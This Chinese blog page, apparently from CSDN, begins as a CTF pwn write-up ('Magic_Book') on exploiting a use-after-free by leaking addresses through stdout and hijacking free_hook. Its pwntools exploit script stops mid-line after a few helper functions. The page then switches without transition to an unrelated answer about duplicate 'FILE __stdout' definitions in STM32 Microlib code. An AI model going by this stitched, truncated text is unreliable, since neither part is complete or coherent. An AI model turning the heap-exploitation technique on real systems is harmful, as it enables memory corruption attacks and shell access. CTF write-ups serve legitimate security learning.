Magic_Book(stdout泄露地址)

本文介绍了一种利用UAF漏洞的方法,通过精心构造payload来泄露内存地址,并最终获取shell。文章详细展示了如何通过修改特定内存区域来实现对free_hook的劫持。

请添加图片描述
这题没有show,edit,但是有个uaf。
因为我们没有show函数无法泄露地址,所以我们需要打stdout来泄露地址。

参考代码:

from pwn import *
context.update(os='linux',arch='amd64',log_level='debug')
#c=remote(b'node4.buuoj.cn',25937)
# c=process(b'./pwn1')
libc=ELF(b'/pwn/libc')


#def dbg():
#	gdb.attach(c,'''


#	b *$rebase(0x14a1)
#	b *$rebase(0x14f9)
#	b *$rebase(0x15d7)
#	b *$rebase(0x1684)
#
#
#	''')
def dbg():
    gdb.attach(c)
    pause()


def add(size,content):
	c.sendlineafter(b'choice : ',b'1')
	c.sendafter(b'Size: ',str(size))
	c.sendafter(b'Content: ',content)
	
	
	
	
def free(idx):
	c.sendlineafter(b'choice : ',b'2')
	c.sendlineafter(b'dex: ',str(idx))
	
	
def luck_free(idx):
	c.sendlineafter
在STM32使用Microlib进行C++开发时,`FILE __stdout;`提示重复定义,通常是因为在多个文件中重复定义了该变量。解决此问题可以采用以下方法: #### 1. 使用头文件保护 如果`FILE __stdout;`定义在头文件中,可添加头文件保护,防止重复包含。 ```c // example.h #ifndef EXAMPLE_H #define EXAMPLE_H #include <stdio.h> // 告知连接器不从C库链接使用半主机的函数 #pragma import(__use_no_semihosting) // 定义 _sys_exit() 以避免使用半主机模式 void _sys_exit(int x) { x = x; } // 标准库需要的支持类型 struct __FILE { int handle; }; extern FILE __stdout; #endif // EXAMPLE_H ``` 在对应的源文件中定义该变量: ```c // example.c #include "example.h" FILE __stdout; ``` #### 2. 检查重复定义 确保在项目中只有一处定义`FILE __stdout;`。如果在多个文件中都有定义,删除多余的定义,只保留一处。例如,若在`main.c`和`other.c`中都定义了`FILE __stdout;`,则保留一个,删除另一个。 #### 3. 使用`extern`关键字 若需要在多个文件中使用`__stdout`,可在一个文件中定义,在其他文件中使用`extern`声明。 ```c // main.c #include <stdio.h> // 告知连接器不从C库链接使用半主机的函数 #pragma import(__use_no_semihosting) // 定义 _sys_exit() 以避免使用半主机模式 void _sys_exit(int x) { x = x; } // 标准库需要的支持类型 struct __FILE { int handle; }; FILE __stdout; // other.c #include <stdio.h> extern FILE __stdout; // 可以使用 __stdout 进行操作 ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值